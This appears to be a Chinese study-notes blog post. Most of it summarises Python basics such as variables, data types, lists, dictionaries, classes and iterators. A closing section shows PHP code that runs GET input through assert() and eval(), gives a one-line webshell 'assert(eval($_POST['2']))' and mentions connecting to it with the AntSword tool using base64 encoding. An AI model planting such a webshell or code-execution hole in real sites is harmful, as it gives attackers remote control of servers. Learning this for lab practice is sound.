一、python知识点总结
人生苦短,我用python
python是一种解释型,面向对象,动态数据类型的弱类型高级程序设计语言
特点:
优点:
1,语法简单
Python 不要求在每个语句的最后写分号,当然写上也没错;
定义变量时不需要指明类型,甚至可以给同一个变量赋值不同类型的数据。
2,Python 是开源的
3,Python 是解释型语言,能跨平台,给其他语言当脚本使用
4,Python 是面向对象的编程语言
5,Python 功能强大(模块众多)
缺点:
1,运行速度慢
2,代码加密困难
3,强制缩进
4,单行语句
由于Python可以在尾部不写分号,所以一行只能有一条语句。
执行 Python 语法
可以直接在命令行中编写执行 Python 的语法
Python 缩进
缩进指的是代码行开头的空格。
在其他编程语言中,代码缩进仅出于可读性的考虑,而 Python 中的缩进非常重要。
但如果不缩进,就会报错。
必须在同一代码块中使用相同数量的空格,否则 Python 会出错
Python 变量
实例
x = 10
y = "Bill"
print(x)
print(y)
Python 变量命名规则:
变量名必须以字母或下划线字符开头
变量名称不能以数字开头
变量名只能包含字母数字字符和下划线(A-z、0-9 和 _)
变量名称区分大小写(age、Age 和 AGE 是三个不同的变量)
向多个变量赋值
Python 允许您在一行中为多个变量赋值
x, y, z = "Orange", "Banana", "Cherry"
print(x)
print(y)
print(z)
可以在一行中为多个变量分配相同的值
x = y = z = "Orange"
print(x)
print(y)
print(z)
全局变量
在函数内部创建一个与全局变量同名的变量:
如果在函数内部创建具有相同名称的变量,则该变量将是局部变量,并且只能在函数内部使用。具有相同名称的全局变量将保留原样,并拥有原始值。
例:
x = "awesome"
def myfunc():
x = "fantastic"
print("Python is " + x)
myfunc()
print("Python is " + x)
Python 数据类型
文本类型: str
数值类型: int, float, complex
序列类型: list, tuple, range
映射类型: dict
集合类型: set, frozenset
布尔类型: bool
二进制类型: bytes, bytearray, memoryview
获取数据类型
打印变量 x 的数据类型:
x = 10
print(type(x))
Python 列表
Python 集合(数组)
Python 编程语言中有四种集合数据类型:
列表(List)是一种有序和可更改的集合。允许重复的成员。
元组(Tuple)是一种有序且不可更改的集合。允许重复的成员。
集合(Set)是一个无序和无索引的集合。没有重复的成员。
词典(Dictionary)是一个无序,可变和有索引的集合。没有重复的成员。
您可以通过引用索引号来访问列表项:
打印列表的第二项:
thislist = ["apple", "banana", "cherry"]
print(thislist[1])
负的索引
负索引表示从末尾开始,-1 表示最后一个项目,-2 表示倒数第二个项目,依此类推。
*Python 字典
字典是一个无序、可变和有索引的集合。在 Python 中,字典用花括号编写,拥有键和值。
保时捷 911 1963
thisdict = {
“brand”: “Porsche”,
“model”: “911”,
“year”: 1963
}
print(thisdict)
Python 条件和 If 语句
a = 10
b = 6
if b > a:
print("b is greater than a")
elif a == b:
print("a and b are equal")
else:
print("a is greater than b")
循环
While 循环
之前写的python作业for循环
Python 类和对象
创建类:
使用名为 x 的属性,创建一个名为 MyClass 的类:
class MyClass:
x = 5
创建对象:
创建一个名为 p1 的对象,并打印 x 的值:
p1 = MyClass()
print(p1.x)
__init__() 函数
使用 __init__() 函数将值赋给对象属性,或者在创建对象时需要执行的其他操作
创建名为 Person 的类,使用 __init__() 函数为 name 和 age 赋值:
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
p1 = Person("Bill", 63)
print(p1.name)
print(p1.age)
Python 迭代器
迭代器是一种对象,该对象包含值的可计数数字。
迭代器是可迭代的对象,这意味着您可以遍历所有值。
在 Python 中,迭代器是实现迭代器协议的对象,它包含方法 iter() 和 next()。
列表、元组、字典和集合都是可迭代的对象。它们是可迭代的容器,您可以从中获取迭代器(Iterator)。
例:
mytuple = ("apple", "banana", "cherry")
myit = iter(mytuple)
print(next(myit))
print(next(myit))
print(next(myit))
二、assert利用蚁剑登录
1,assert()
<?php
$str = $_GET['input'];
assert($str);
?>
2,eval()
把字符串 code 作为PHP代码执行。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
<?php
$code = $_GET['code'];
eval($code);
?>
注意:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
构造木马:assert(eval($_POST['2']));
![在这里插入图片描述](https://img-blog.csdnimg.cn/7b1f39263e9f4570b0793ad03eea3e68.png)
default 不推荐使用,我们就用base64编码
可以设置代理